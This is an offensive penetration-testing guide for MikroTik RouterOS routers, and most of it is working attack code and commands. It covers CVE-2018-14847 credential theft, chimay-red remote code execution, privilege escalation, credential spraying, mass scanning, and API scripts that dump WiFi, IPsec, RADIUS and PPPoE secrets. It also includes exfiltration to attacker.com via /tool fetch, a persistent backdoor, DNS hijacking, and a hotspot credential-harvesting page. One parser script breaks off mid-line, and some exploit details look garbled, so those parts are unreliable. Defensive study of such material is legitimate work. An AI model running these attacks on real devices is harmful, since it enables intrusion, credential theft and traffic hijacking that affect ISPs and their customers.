MikroTik RouterOS Security Testing: CVE-2018-14847 WinBox, API Port Exploitation, Credential Extraction

MikroTik RouterOS powers millions of routers, switches, and hotspot controllers worldwide — from ISP core infrastructure to enterprise edge devices to home labs. The combination of a proprietary management protocol (WinBox), a raw TCP API port, SNMP community strings set to "public" by default, and admin accounts with empty passwords creates a uniquely rich attack surface. CVE-2018-14847 — a Vault 7-leaked 0-day that allows unauthenticated arbitrary file read over WinBox — remained unpatched on hundreds of thousands of devices years after disclosure. This guide covers the full RouterOS attack surface: WinBox exploitation, API credential extraction, SNMP configuration dumps, IPsec PSK recovery, and the DNS hijacking campaigns that abused compromised MikroTik devices at massive scale.

Authorized Testing Only: All techniques in this guide are for use on devices you own or have explicit written permission to test. Unauthorized access to network infrastructure is a criminal offense in virtually every jurisdiction. MikroTik devices frequently act as ISP customer premises equipment — unauthorized testing affects third-party traffic.

Table of Contents

  1. Attack Surface Overview
  2. CVE-2018-14847: WinBox Unauthenticated File Read
  3. CVE-2023-30799: Admin-to-Superadmin Privilege Escalation
  4. Default Credentials and Password Enumeration
  5. WinBox Protocol Attacks: chimay-red and RouterSploit
  6. RouterOS API Exploitation (TCP 8728)
  7. WebFig and REST API Attacks
  8. SNMP Attack Vector
  9. Configuration Backup and Export Extraction
  10. RouterOS Fetch Command Abuse (SSRF)
  11. IPsec PSK Extraction
  12. DNS Hijacking and Real-World Campaigns
  13. Detection Techniques
  14. Defense Recommendations

1. Attack Surface Overview

MikroTik RouterOS exposes a wide range of management interfaces, many of which are enabled by default and accessible on all interfaces unless explicitly restricted. Understanding the full port surface is the prerequisite for any engagement.

Service Protocol / Port Default State Risk Level Notes
WinBox TCP 8291 Enabled Critical Proprietary binary protocol; CVE-2018-14847 target
RouterOS API TCP 8728 Disabled (easily enabled) Critical Plaintext credential transmission; full device control
RouterOS API-SSL TCP 8729 Disabled High TLS-wrapped API; weaker than it sounds if cert not validated
WebFig / HTTP TCP 80 Enabled High Web management interface; session fixation in older versions
WebFig / HTTPS TCP 443 Enabled High Self-signed cert; MitM risk; REST API endpoint
SSH TCP 22 Enabled High RouterOS shell access; supports key auth and password
Telnet TCP 23 Enabled (older firmware) Critical Cleartext; should always be disabled
FTP TCP 21 Enabled High File transfer; same credentials as management; cleartext
SNMP UDP 161 Disabled (common misconfiguration) High Default community "public"; full config read via MIB walk

Initial Reconnaissance

Begin engagements with a targeted Nmap scan covering all RouterOS management ports:

# Comprehensive MikroTik port scan
nmap -sV -p 21,22,23,80,443,8291,8728,8729 --open -T4 192.168.1.0/24

# Identify RouterOS with service version probing
nmap -sV --version-intensity 5 -p 8291 192.168.1.1
# Expected output for WinBox: "MikroTik RouterOS WinBox (6.x)" or similar

# SNMP check
nmap -sU -p 161 --script snmp-info 192.168.1.1

# Full banner grab on management ports
nmap -sV -p 22,80,443 --script banner,http-title 192.168.1.1

RouterOS devices typically identify themselves via SSH banners and HTTP response headers. The Server: header on WebFig reads nginx or micro_httpd depending on the RouterOS version, but the HTML title will confirm the MikroTik identity.

Shodan Exposure: MikroTik devices are massively exposed on the public internet. Shodan searches for port:8291 or product:"MikroTik" return hundreds of thousands of results. ISP CPE devices are frequently accessible on their WAN interface because operators do not restrict management access per-interface.

2. CVE-2018-14847: WinBox Unauthenticated File Read (CVSS 9.1)

CVE-2018-14847 is arguably the most impactful RouterOS vulnerability in history. It was derived from the Vault 7 CIA leak (specifically the "Chimay Red" tool) and disclosed publicly in April 2018. The vulnerability allows an unauthenticated attacker to read arbitrary files from the RouterOS filesystem over the WinBox protocol on TCP port 8291 — with no credentials required. The most valuable target is /flash/rw/store/user.dat, which contains all RouterOS user credentials in plaintext.

Affected Versions

RouterOS versions prior to 6.42.1 (stable) and 6.40.8 (long-term) are vulnerable. Despite the patch being available since April 2018, Shodan continued to show over 900,000 vulnerable devices in 2019, and significant numbers remained unpatched well into 2022 due to the ISP deployment model where firmware updates require customer-side reboots.

Technical Mechanism

The WinBox protocol (port 8291) uses a binary message format to bootstrap the WinBox GUI application. During the initial handshake phase — before authentication occurs — the protocol allows file reads intended to support the client bootstrapping process (downloading WinBox.exe components). The vulnerability exists because the file path in these pre-auth requests is not properly validated, allowing directory traversal to read any file on the device filesystem.

The user credential database /flash/rw/store/user.dat stores credentials in a proprietary binary format, but the passwords are stored without hashing in RouterOS versions 6.x. The file can be parsed with freely available tools to extract all usernames and passwords in cleartext.

Exploitation with WinboxExploit

# Clone the most widely used CVE-2018-14847 PoC
git clone https://github.com/BasuCert/WinboxPoC
cd WinboxPoC

# Compile (requires Go)
go build winboxPoC.go

# Read the user database file - no authentication required
./winboxPoC 192.168.1.1 /flash/rw/store/user.dat

# Example output:
# [+] Connecting to 192.168.1.1:8291
# [+] Connected. Sending exploit payload...
# [+] Success! File contents:
# Username: admin    Password: RouterPass2024!
# Username: backup   Password: Backup@123
# Username: monitor  Password: (empty)

# Alternative: read other sensitive files
./winboxPoC 192.168.1.1 /flash/rw/store/user.dat.bak
./winboxPoC 192.168.1.1 /rw/store/user.dat

# Read running configuration (may contain PSK, RADIUS secrets)
./winboxPoC 192.168.1.1 /rw/pckg/option

# Read system identity and version info
./winboxPoC 192.168.1.1 /flash/rw/logs/persistent.0.txt

Using the Original chimay-red Tool

# chimay-red (from Vault 7 leak, publicly available)
# Also exploits a heap corruption bug (separate from CVE-2018-14847)
git clone https://github.com/BigNerd95/Chimay-Red
cd Chimay-Red

# Stage 1: Crash and identify memory addresses
python3 chimay-red.py stage1 192.168.1.1 80

# Stage 2: Exploit and achieve remote code execution
python3 chimay-red.py stage2 192.168.1.1 80 \
    --exploit exploits/routeros_6_38_5_smips.exploit \
    --payload payloads/traccar_v2.payload

# The chimay-red HTTP exploit targets port 80 (WWW service)
# Different vulnerability class from CVE-2018-14847 but often used together

Parsing the user.dat File

The user.dat file is a binary RouterOS database format. After extraction it must be parsed:

# Python parser for user.dat (RouterOS credential database)
python3 - <<'EOF'
import struct
import sys

def parse_user_dat(filename):
    """Parse RouterOS user.dat credential store"""
    with open(filename, 'rb') as f:
        data = f.read()

    # RouterOS user.dat uses a simple record format
    # Each record: [length:2][type:1][data:length]
    offset = 0
    users = []
    current_user = {}

    while offset < len(data):
        if offset + 3 > len(data):
            break
        length = struct.unpack('
High-Value Finding: Credentials extracted from user.dat via CVE-2018-14847 are frequently reused across the organization's infrastructure. ISP network engineers often use the same credentials on all managed CPE devices — a single exploit yields access to the entire managed network.

3. CVE-2023-30799: Privilege Escalation Admin to Superadmin (CVSS 9.1)

Discovered by Forescout Research and independently by VulnCheck in 2023, CVE-2023-30799 allows a RouterOS admin-level user to escalate to the "superadmin" role, which has unrestricted access to the underlying Linux system bypassing RouterOS sandboxing. This vulnerability affects RouterOS versions 6.x up to 6.49.7 and RouterOS 7.x up to 7.10 (stable).

Why This Matters

RouterOS enforces a tiered privilege model: regular admin accounts operate within the RouterOS scripting environment with restricted shell access. Superadmin bypasses these restrictions and provides a root-equivalent shell on the underlying Linux-based system. From superadmin access, an attacker can install persistent backdoors that survive firmware updates, extract all credentials from memory, and pivot to any connected network segment.

Exploitation via REST API

# CVE-2023-30799 via RouterOS REST API
# Requires admin credentials (obtainable via CVE-2018-14847 or default creds)

# Step 1: Authenticate to REST API
curl -k -u admin:RouterPass2024! \
     https://192.168.1.1/rest/system/identity

# Step 2: Trigger privilege escalation via Jsproxy
# The vulnerability lies in the Jsproxy component handling special characters
# in the REST API path that are not properly sanitized

# Proof-of-concept escalation request
curl -k -u admin:RouterPass2024! \
     -X POST https://192.168.1.1/rest/system/script \
     -H "Content-Type: application/json" \
     -d '{"name":"pwn","source":"/system/console set \"; /execute script=\"\"\" + \"/\"+\"bin\"+\"/\"+ \"sh\" + \"\"\"; \" "}'

# VulnCheck public PoC (after responsible disclosure period)
# Targets the jsproxy handler deserialization path
git clone https://github.com/vulncheck-oss/cve-2023-30799-scanner
cd cve-2023-30799-scanner
python3 scanner.py --target 192.168.1.1 --user admin --pass RouterPass2024!

# Verification: check if escalation succeeded
ssh -o StrictHostKeyChecking=no admin@192.168.1.1
# After escalation, /system/console gives interactive Linux shell:
# BusyBox v1.36.0 (2023-01-01) built-in shell (ash)
# Enter 'help' for a list of built-in commands.
# [admin@MikroTik] >

Post-Exploitation from Superadmin

# After achieving superadmin / Linux shell access
# Extract all stored credentials from memory
cat /rw/store/user.dat

# Read RADIUS shared secrets
cat /rw/flash/radius.db 2>/dev/null

# Extract IPsec secrets from running config
/ip/ipsec/installed-sa/print
grep -r "psk\|secret\|password" /rw/pckg/

# List all installed packages and versions
cat /rw/pckg/*/CONTROL/control

# Persistent backdoor installation
echo "#!/bin/sh
/bin/backdoor &" > /rw/pckg/persist.sh
chmod +x /rw/pckg/persist.sh

# Read the full running configuration
/export verbose

4. Default Credentials and Password Enumeration

Every new MikroTik device ships with a single account named admin with an empty password. RouterOS 6.49+ introduced a forced password change dialog in the WinBox GUI, but the change is not enforced on SSH, API, or FTP connections — an empty password continues to work programmatically even after the GUI prompts for a change.

Default Credential Testing

# Test default empty password via SSH
ssh admin@192.168.1.1
# Hit Enter at password prompt (empty password)

# Test via RouterOS API (Python)
python3 -c "
import socket
import hashlib

def test_mikrotik_default(host, port=8728):
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.connect((host, port))
    # RouterOS API login sequence
    # Send: /login with no password
    msg = b'\x06/login\x00'
    sock.send(struct.pack('!B', len(msg)) + msg)
    resp = sock.recv(1024)
    print(f'Response: {resp}')
    sock.close()

test_mikrotik_default('192.168.1.1')
"

# Automated default credential check with Medusa
medusa -h 192.168.1.1 -u admin -p '' -M ssh -t 1

# Hydra bruteforce against WinBox (custom module)
# Note: WinBox uses MD5 challenge-response; standard brute tools need custom modules

# RouterOS API brute force with custom wordlist
hydra -l admin -P /usr/share/wordlists/rockyou.txt \
      192.168.1.1 ftp -t 4 -V

# Common MikroTik admin passwords found in the wild
# (from paste sites and credential dumps after mass compromises)
cat > mikrotik_common.txt << 'EOF'
(empty)
admin
mikrotik
MikroTik
admin123
Admin123
router
Router
password
Password123
mikr0tik
1234567890
test
guest
EOF

Credential Spray via SSH

# SSH credential spray across a subnet
for ip in $(nmap -sn 192.168.1.0/24 -oG - | grep Up | awk '{print $2}'); do
    # Check if port 22 open
    nc -zw2 $ip 22 2>/dev/null && \
    sshpass -p '' ssh -o ConnectTimeout=3 \
            -o StrictHostKeyChecking=no \
            -o UserKnownHostsFile=/dev/null \
            admin@$ip '/system identity print' 2>/dev/null | \
            grep -q 'name:' && echo "[+] VALID EMPTY PASSWORD: $ip"
done

5. WinBox Protocol Attacks: chimay-red and RouterSploit

RouterSploit Framework

RouterSploit includes dedicated modules for MikroTik RouterOS exploitation, including CVE-2018-14847, default credential checks, and service enumeration:

# Install RouterSploit
pip3 install routersploit
# or:
git clone https://github.com/threat9/routersploit
cd routersploit && pip3 install -r requirements.txt

# Launch RouterSploit
python3 rsf.py

# Within RouterSploit:
rsf > use scanners/routers/mikrotik_scan
rsf (MikroTik Scanner) > set target 192.168.1.0/24
rsf (MikroTik Scanner) > run

# CVE-2018-14847 exploit module
rsf > use exploits/routers/mikrotik/winbox_disclosure
rsf (WinBox Disclosure) > set target 192.168.1.1
rsf (WinBox Disclosure) > check
[+] 192.168.1.1:8291 - Target appears to be VULNERABLE
rsf (WinBox Disclosure) > run
[*] Running module...
[+] Module finished, credentials found:
    admin : MySecretPass99

# Default credential module
rsf > use creds/routers/mikrotik/default_creds
rsf (MikroTik Default Creds) > set target 192.168.1.1
rsf (MikroTik Default Creds) > run

Mass Scanning for Vulnerable Instances

# Use masscan for fast WinBox port discovery at scale
masscan -p 8291 10.0.0.0/8 --rate=10000 -oL winbox_hosts.txt

# Parse masscan output and test CVE-2018-14847
awk '/open/ {print $4}' winbox_hosts.txt | while read host; do
    timeout 5 ./winboxPoC "$host" /flash/rw/store/user.dat 2>/dev/null | \
        grep -q 'Username' && echo "[VULN] $host"
done

# Nmap NSE script for WinBox version detection
nmap -p 8291 --script winbox-info 192.168.1.0/24 2>/dev/null || \
nmap -p 8291 -sV 192.168.1.0/24

6. RouterOS API Exploitation (TCP 8728)

The RouterOS API on TCP 8728 provides programmatic access to the full RouterOS management interface. Unlike WinBox (which has the CVE-2018-14847 unauthenticated flaw), the API requires credentials — but once authenticated, it exposes the complete device configuration including all secrets. The API uses a custom binary protocol with word-based encoding.

Python routeros-api Library

# Install the routeros-api library
pip3 install routeros-api

# Full credential and configuration extraction script
python3 << 'EOF'
import routeros_api

def exploit_mikrotik_api(host, username='admin', password=''):
    connection = routeros_api.RouterOsApiPool(
        host,
        username=username,
        password=password,
        port=8728,
        plaintext_login=True  # Required for older RouterOS versions
    )

    try:
        api = connection.get_api()
        print(f"[+] Connected to {host} as {username}")

        # Dump all system users and passwords
        print("\n[*] User accounts:")
        users = api.get_resource('/user')
        for user in users.get():
            print(f"  Username: {user.get('name')} | "
                  f"Group: {user.get('group')} | "
                  f"Password: {user.get('password','(hashed/empty)')}")

        # Get system identity
        identity = api.get_resource('/system/identity')
        for item in identity.get():
            print(f"\n[*] System identity: {item['name']}")

        # Extract SNMP community strings
        print("\n[*] SNMP communities:")
        snmp = api.get_resource('/snmp/community')
        for comm in snmp.get():
            print(f"  Community: {comm.get('name')} | "
                  f"Auth: {comm.get('authentication-password','(none)')} | "
                  f"Privacy: {comm.get('encryption-password','(none)')}")

        # Extract RADIUS secrets
        print("\n[*] RADIUS servers:")
        try:
            radius = api.get_resource('/radius')
            for srv in radius.get():
                print(f"  Server: {srv.get('address')} | "
                      f"Secret: {srv.get('secret')} | "
                      f"Service: {srv.get('service')}")
        except Exception as e:
            print(f"  No RADIUS config or access denied: {e}")

        # Extract IPsec peers and PSKs
        print("\n[*] IPsec profiles/PSKs:")
        try:
            ipsec = api.get_resource('/ip/ipsec/peer')
            for peer in ipsec.get():
                print(f"  Peer: {peer.get('address')} | "
                      f"Secret: {peer.get('secret','(none)')}")
        except Exception:
            pass

        # Extract PPPoE server credentials
        print("\n[*] PPPoE secrets (first 20):")
        try:
            ppp = api.get_resource('/ppp/secret')
            for secret in list(ppp.get())[:20]:
                print(f"  Name: {secret.get('name')} | "
                      f"Password: {secret.get('password')} | "
                      f"Profile: {secret.get('profile')}")
        except Exception as e:
            print(f"  Error: {e}")

        # Extract WLAN (WiFi) passwords
        print("\n[*] Wireless security profiles:")
        try:
            wlan = api.get_resource('/interface/wireless/security-profiles')
            for profile in wlan.get():
                print(f"  SSID Profile: {profile.get('name')} | "
                      f"WPA Key: {profile.get('wpa-pre-shared-key','(none)')} | "
                      f"WPA2 Key: {profile.get('wpa2-pre-shared-key','(none)')}")
        except Exception:
            pass

        # Get full configuration export
        print("\n[*] Exporting full configuration...")
        export = api.get_binary_resource('/')
        result = export.call('export')
        if result:
            with open(f'{host}_config_export.txt', 'wb') as f:
                f.write(result)
            print(f"  Saved to {host}_config_export.txt")

        connection.disconnect()

    except routeros_api.exceptions.RouterOsApiConnectionError as e:
        print(f"[-] Connection failed: {e}")
    except routeros_api.exceptions.RouterOsApiCommunicationError as e:
        print(f"[-] Auth failed: {e}")

# Run against target
exploit_mikrotik_api('192.168.1.1', 'admin', 'RouterPass2024!')
EOF

Low-Level API Protocol Interaction

For environments where Python libraries are unavailable, the RouterOS API can be accessed with raw socket communication:

# Raw RouterOS API communication (bash + netcat approach)
# The protocol encodes each word with a length prefix

python3 << 'EOF'
import socket
import hashlib

class RawRouterOsApi:
    def __init__(self, host, port=8728):
        self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self.sock.connect((host, port))
        self.sock.settimeout(10)

    def encode_length(self, length):
        if length < 0x80:
            return bytes([length])
        elif length < 0x4000:
            length |= 0x8000
            return bytes([(length >> 8) & 0xFF, length & 0xFF])
        else:
            length |= 0xC00000
            return bytes([(length >> 16) & 0xFF, (length >> 8) & 0xFF, length & 0xFF])

    def encode_word(self, word):
        if isinstance(word, str):
            word = word.encode('utf-8')
        return self.encode_length(len(word)) + word

    def send_sentence(self, words):
        sentence = b''
        for word in words:
            sentence += self.encode_word(word)
        sentence += b'\x00'  # End of sentence
        self.sock.send(sentence)

    def login(self, username, password=''):
        # Phase 1: initiate login
        self.send_sentence(['/login', f'=name={username}', f'=password={password}'])
        response = self.sock.recv(4096)

        # Check for challenge (older auth) or direct login (newer)
        if b'=ret=' in response:
            # MD5 challenge-response auth
            challenge = response.split(b'=ret=')[1].split(b'\x00')[0]
            md5 = hashlib.md5()
            md5.update(b'\x00')
            md5.update(password.encode('utf-8'))
            md5.update(bytes.fromhex(challenge.decode()))
            response_hash = md5.hexdigest()
            self.send_sentence(['/login', f'=name={username}', f'=response=00{response_hash}'])
            response = self.sock.recv(4096)

        return b'!done' in response

    def run_command(self, command):
        self.send_sentence([command])
        data = b''
        while True:
            chunk = self.sock.recv(4096)
            data += chunk
            if b'!done' in chunk:
                break
        return data

api = RawRouterOsApi('192.168.1.1')
if api.login('admin', ''):
    print("[+] Logged in with empty password")
    result = api.run_command('/system/identity/print')
    print(result.decode('utf-8', errors='replace'))
EOF

7. WebFig and REST API Attacks

WebFig is the RouterOS web management interface, accessible on HTTP (port 80) and HTTPS (port 443). RouterOS 7.x introduced a proper REST API at /rest/. Several attack vectors exist against these interfaces.

Session Fixation in Older Versions

# Session fixation vulnerability in RouterOS < 6.49
# The session token is predictable based on the timestamp

# Step 1: Observe session cookie format
curl -v http://192.168.1.1/ 2>&1 | grep -i 'set-cookie'
# Set-Cookie: sfx=0xxxxxx; path=/

# Step 2: Fix session before authentication
# Send a request with a known session ID
curl -b "sfx=DEADBEEFDEADBEEF" http://192.168.1.1/jsproxy

# Step 3: Trick admin into using this session (social engineering)
# Then use the fixed session to access the management interface

# Authentication bypass test (old RouterOS versions)
curl -s http://192.168.1.1/winbox/session \
     -H "Authorization: Basic YWRtaW46" \
     | head -c 200

REST API Enumeration (RouterOS 7.x)

# RouterOS 7.x REST API - full configuration read
BASE="https://192.168.1.1"
AUTH="admin:RouterPass2024!"

# System info
curl -k -u "$AUTH" "$BASE/rest/system/resource"

# Interface list
curl -k -u "$AUTH" "$BASE/rest/interface" | python3 -m json.tool

# DHCP leases - reveals internal network topology
curl -k -u "$AUTH" "$BASE/rest/ip/dhcp-server/lease" | python3 -m json.tool

# Firewall rules
curl -k -u "$AUTH" "$BASE/rest/ip/firewall/filter"

# NAT rules - reveals port forwarding targets
curl -k -u "$AUTH" "$BASE/rest/ip/firewall/nat"

# Routing table
curl -k -u "$AUTH" "$BASE/rest/ip/route"

# User accounts
curl -k -u "$AUTH" "$BASE/rest/user"

# Scheduler tasks (could contain credentials or malicious scripts)
curl -k -u "$AUTH" "$BASE/rest/system/scheduler"

# Scripts (may contain hardcoded credentials)
curl -k -u "$AUTH" "$BASE/rest/system/script"

# DNS configuration (static entries and upstream servers)
curl -k -u "$AUTH" "$BASE/rest/ip/dns/static"
curl -k -u "$AUTH" "$BASE/rest/ip/dns"

WebFig Credential Enumeration via HTTP

# Check for open WebFig without authentication
curl -s http://192.168.1.1/ | grep -i 'routeros\|mikrotik'

# Test common WebFig paths
for path in / /winbox /jsproxy /webfig /index.html /favicon.ico; do
    code=$(curl -o /dev/null -s -w "%{http_code}" "http://192.168.1.1$path")
    echo "$path -> $code"
done

# Capture WebFig session token from HTTP login POST
curl -v -X POST http://192.168.1.1/jsproxy \
     -H "Content-Type: application/x-www-form-urlencoded" \
     -d "username=admin&password=" 2>&1 | grep -E "cookie|location|200|302"

8. SNMP Attack Vector

SNMP is disabled by default on RouterOS but is commonly enabled by ISPs and managed service providers for monitoring. The default community string is public. When SNMP v1/v2c is enabled with default or guessed community strings, an attacker can dump the complete device configuration — including interface details, routing tables, and in some cases credentials — via SNMP MIB walks.

SNMP Community String Discovery

# Test default community strings
for community in public private monitor read write MikroTik mikrotik admin cisco; do
    result=$(snmpwalk -v2c -c "$community" -t 3 192.168.1.1 system 2>&1)
    if echo "$result" | grep -q 'sysDescr\|STRING'; then
        echo "[+] Valid community: $community"
        echo "$result" | head -3
    fi
done

# Using onesixtyone for fast SNMP community string discovery
onesixtyone -c /usr/share/seclists/Discovery/SNMP/common-snmp-community-strings.txt \
            192.168.1.1

# Nmap SNMP scripts
nmap -sU -p 161 --script snmp-brute,snmp-info,snmp-sysdescr 192.168.1.1

Full Configuration Dump via SNMP

# MikroTik-specific SNMP MIB walk
# Get system description (includes RouterOS version)
snmpwalk -v2c -c public 192.168.1.1 1.3.6.1.2.1.1.1

# Walk the entire MikroTik MIB tree
snmpwalk -v2c -c public 192.168.1.1 1.3.6.1.4.1.14988 2>/dev/null | head -100

# MikroTik OID for interface names (1.3.6.1.4.1.14988.1.1.14)
snmpwalk -v2c -c public 192.168.1.1 1.3.6.1.4.1.14988.1.1.14

# LLDP neighbor discovery via SNMP
snmpwalk -v2c -c public 192.168.1.1 1.0.8802.1.1.2

# Get all IP addresses
snmpwalk -v2c -c public 192.168.1.1 1.3.6.1.2.1.4.20

# Interface table
snmpwalk -v2c -c public 192.168.1.1 ifTable

# ARP table - reveals connected hosts
snmpwalk -v2c -c public 192.168.1.1 ipNetToMediaPhysAddress

# Use snmp-check for comprehensive enumeration
snmp-check -c public -v 2c 192.168.1.1

# SNMP v3 auth bypass test (some devices accept empty auth)
snmpwalk -v3 -l noAuthNoPriv -u admin 192.168.1.1 system
SNMP Write Community: If the write community string (often private) is guessable, SNMP v2c write access allows reconfiguring the device entirely — including setting a new admin password, modifying routing tables, or injecting DNS entries — without any logged authentication event.

9. Configuration Backup and Export Extraction

RouterOS supports two types of configuration exports: binary backup files (.backup) and plaintext rsc exports. Both contain sensitive information including all credentials, PSKs, RADIUS secrets, and PPPoE passwords.

Extracting Backup Files via FTP

# Create a backup via SSH then download via FTP
ssh admin@192.168.1.1 '/system backup save name=pentest_backup'

# Download via FTP (cleartext, same credentials)
ftp 192.168.1.1 << 'EOF'
admin
RouterPass2024!
binary
get pentest_backup.backup
bye
EOF

# Convert binary backup to readable format
# RouterOS backup format is GZIP-compressed
file pentest_backup.backup
# MikroTik RouterOS backup  (if file command knows this format)

# Decompress (v6 backups may be gzip)
zcat pentest_backup.backup > backup_extracted || \
gunzip -c pentest_backup.backup > backup_extracted 2>/dev/null

# Search for credentials in extracted backup
strings backup_extracted | grep -iE 'password|secret|psk|key' | head -30

Plaintext Export via SSH

# Full configuration export with all sensitive data visible
ssh admin@192.168.1.1 '/export verbose' > full_config.rsc

# Parse sensitive values from the export
grep -E 'secret=|password=|psk=|pre-shared-key=|wpa.*key=' full_config.rsc

# Example export lines revealing credentials:
# /ip ipsec peer add address=203.0.113.50 secret="VerySecretPSK123" ...
# /ppp secret add name=customer1 password="CustomerPass!" ...
# /interface wireless security-profiles add wpa2-pre-shared-key="WifiPassword2024"
# /radius add address=10.0.0.10 secret="RadiusSharedSecret" service=ppp

# Export only PPPoE secrets
ssh admin@192.168.1.1 '/ppp secret print detail' | grep -E 'name|password'

# Export scheduler tasks (may contain embedded scripts with credentials)
ssh admin@192.168.1.1 '/system scheduler print detail'

WinBox Backup File Analysis

# WinBox saves local copies of device configurations in:
# Windows: %APPDATA%\Winbox\*.backup
# These files mirror the RouterOS binary backup format

# Search for WinBox cache files on Windows client
dir /s /b %APPDATA%\Winbox\*.* 2>nul

# Linux equivalent (wine/WinBox):
find ~/.wine -name "*.backup" -o -name "user.dat" 2>/dev/null

# Parse WinBox address book for stored credentials
find ~/.wine -name "address.cdb" 2>/dev/null
# Contains: hostname, username, password (obfuscated but reversible in old versions)

10. RouterOS Fetch Command Abuse (SSRF/Internal Scanning)

The RouterOS /tool/fetch command downloads files from URLs to the router's filesystem. When an attacker has admin access (e.g., via CVE-2018-14847 or default credentials), this command can be abused as an SSRF primitive to reach internal network segments inaccessible from the attacker's position.

# SSRF via RouterOS fetch command
# The router makes the HTTP request from its perspective

# Port scanning internal network via fetch
ssh admin@192.168.1.1 << 'EOF'
# Scan for web servers on internal 10.0.0.0/24
:for i from=1 to=254 do={
    :do {
        /tool fetch url=("http://10.0.0." . $i . "/") \
             mode=http dst-path=("/dev/null") \
             keep-result=no
        :log info ("OPEN: 10.0.0." . $i . ":80")
    } on-error={
        # Connection refused or timeout - port closed
    }
}
EOF

# Exfiltrate data via fetch (router posts data to attacker server)
ssh admin@192.168.1.1 '/tool fetch url="http://attacker.com/collect" \
    http-method=post \
    http-data=([/export verbose]) \
    mode=http'

# Internal metadata service access (cloud-hosted routers)
ssh admin@192.168.1.1 \
    '/tool fetch url="http://169.254.169.254/latest/meta-data/" \
     mode=http dst-path="metadata.txt"; \
     :put [/file get "metadata.txt" contents]'

# Fetch from internal services (bypass perimeter controls)
ssh admin@192.168.1.1 \
    '/tool fetch url="http://192.168.100.1:8080/admin/" \
     mode=http dst-path="internal_admin.html"'
Pentester Note: The fetch SSRF is particularly powerful in ISP environments where the router has dedicated management VLAN access, routing adjacency with internal infrastructure, and internet access simultaneously. An attacker positioned on the customer side of a CPE device can use fetch to reach the ISP's internal management systems.

11. IPsec PSK Extraction

RouterOS is widely used as a VPN endpoint — both for site-to-site IPsec tunnels and remote-access IPsec/IKEv2 connections. Pre-shared keys (PSKs) are stored in the RouterOS configuration database and are recoverable via multiple attack paths.

# Extract IPsec PSKs via RouterOS API
python3 << 'EOF'
import routeros_api

api_pool = routeros_api.RouterOsApiPool(
    '192.168.1.1', username='admin', password='RouterPass2024!',
    port=8728, plaintext_login=True
)
api = api_pool.get_api()

# IPsec peers (IKEv1/IKEv2 site-to-site)
print("=== IPsec Peers ===")
ipsec_peers = api.get_resource('/ip/ipsec/peer')
for peer in ipsec_peers.get():
    print(f"  Remote: {peer.get('address','any')} | "
          f"Auth: {peer.get('auth-method','psk')} | "
          f"Secret: {peer.get('secret','(none)')}")

# IPsec identities (IKEv2)
print("\n=== IPsec Identities ===")
try:
    identities = api.get_resource('/ip/ipsec/identity')
    for ident in identities.get():
        print(f"  Remote: {ident.get('remote-id','any')} | "
              f"Auth: {ident.get('auth-method')} | "
              f"Secret: {ident.get('secret','(none)')}")
except Exception as e:
    print(f"  Error: {e}")

# L2TP/IPsec server secrets
print("\n=== L2TP Server Config ===")
try:
    l2tp = api.get_resource('/interface/l2tp-server/server')
    for s in l2tp.get():
        print(f"  Enabled: {s.get('enabled')} | "
              f"IPsec Secret: {s.get('ipsec-secret','(none)')}")
except Exception:
    pass

api_pool.disconnect()
EOF

# Via SSH export
ssh admin@192.168.1.1 '/ip ipsec peer print detail' | grep -E 'address|secret'
ssh admin@192.168.1.1 '/ip ipsec identity print detail' | grep -E 'remote|secret'

# IKEv2 server PSK (commonly used for iOS/Android road warrior VPN)
ssh admin@192.168.1.1 '/interface l2tp-server server print' | grep ipsec-secret

Cracking Recovered IPsec PSKs

# Convert captured IKE handshake to hashcat format for offline cracking
# (when PSK not directly readable but IKE handshake was captured)
ikescan2john.py capture.ike > ike_hashes.txt
hashcat -m 5300 ike_hashes.txt /usr/share/wordlists/rockyou.txt

# IKEv2 hash cracking (Hashcat mode 5400)
hashcat -m 5400 ikev2_hashes.txt /usr/share/wordlists/rockyou.txt

# Using ike-scan to capture the handshake
ike-scan --trans=5,2,1,2 --showbackoff 203.0.113.50 | tee ike_capture.txt

12. DNS Hijacking and Real-World Campaigns

Compromised MikroTik devices have been systematically abused in multiple large-scale DNS hijacking campaigns. Because MikroTik is deployed at the ISP CPE layer, a single compromised router affects all DNS resolution for every device behind it. Two campaigns stand out for their scale and sophistication.

VPNFilter Campaign (2018)

The VPNFilter malware (attributed to Russian APT Sandworm) infected over 500,000 routers across 54 countries, with MikroTik being a primary target. VPNFilter implemented a DNS hijacking module that redirected specific banking and financial domains to attacker-controlled servers while passing all other traffic transparently.

Campaign 2022-2023: Glupteba Botnet DNS Hijacking

Millions of MikroTik routers were enrolled in botnet infrastructure. The infection vector was CVE-2018-14847 (unpatched 3-4 years after disclosure) plus default credentials. Once compromised, the routers modified their DNS settings and injected malicious DNS responses for targeted domains.

DNS Hijacking via Compromised Router

# After gaining admin access to a MikroTik device
# Inject malicious static DNS entries

# Via SSH
ssh admin@192.168.1.1 << 'EOF'
# Add malicious static DNS entries (targeting attacker's IP)
/ip dns static add name=bank.example.com address=198.51.100.1
/ip dns static add name=auth.example.com address=198.51.100.1
/ip dns static add name=login.example.com address=198.51.100.1

# Change upstream DNS to attacker-controlled server
/ip dns set servers=198.51.100.2

# Enable DNS cache to intercept all queries
/ip dns set allow-remote-requests=yes

# Verify changes
/ip dns print
/ip dns static print
EOF

# Detect DNS hijacking on a MikroTik device (defense perspective)
ssh admin@192.168.1.1 '/ip dns static print' | grep -v '^#'
ssh admin@192.168.1.1 '/ip dns print' | grep servers

Hotspot Captive Portal Injection

# MikroTik Hotspot (used in hotels, airports, cafes) can be abused
# after compromise to inject malicious content or capture credentials

# Check if hotspot is configured
ssh admin@192.168.1.1 '/ip hotspot print'

# View current hotspot HTML files (credential harvesting opportunity)
ssh admin@192.168.1.1 '/file print where name~"hotspot"'

# Replace login page with credential-harvesting clone
scp malicious_login.html admin@192.168.1.1:/hotspot/login.html
Campaign Scale: The 2018 mass-exploitation campaign compromised over 200,000 MikroTik devices in Brazil alone within days of CVE-2018-14847 going public. Each compromised device was used to proxy traffic through the Coinhive cryptocurrency miner JavaScript injected into all HTTP responses — affecting hundreds of thousands of end users who had no direct relationship with the vulnerable routers.

13. Detection Techniques

Detecting attacks against MikroTik devices requires both network-level monitoring and device-level logging analysis.

Log Analysis

# View RouterOS system logs
ssh admin@192.168.1.1 '/log print follow where topics~"system\|warning\|error"'

# Check for authentication failures
ssh admin@192.168.1.1 '/log print where topics~"system" and message~"login failure"'

# Check for unusual API or WinBox connections
ssh admin@192.168.1.1 '/log print where topics~"manager\|winbox"'

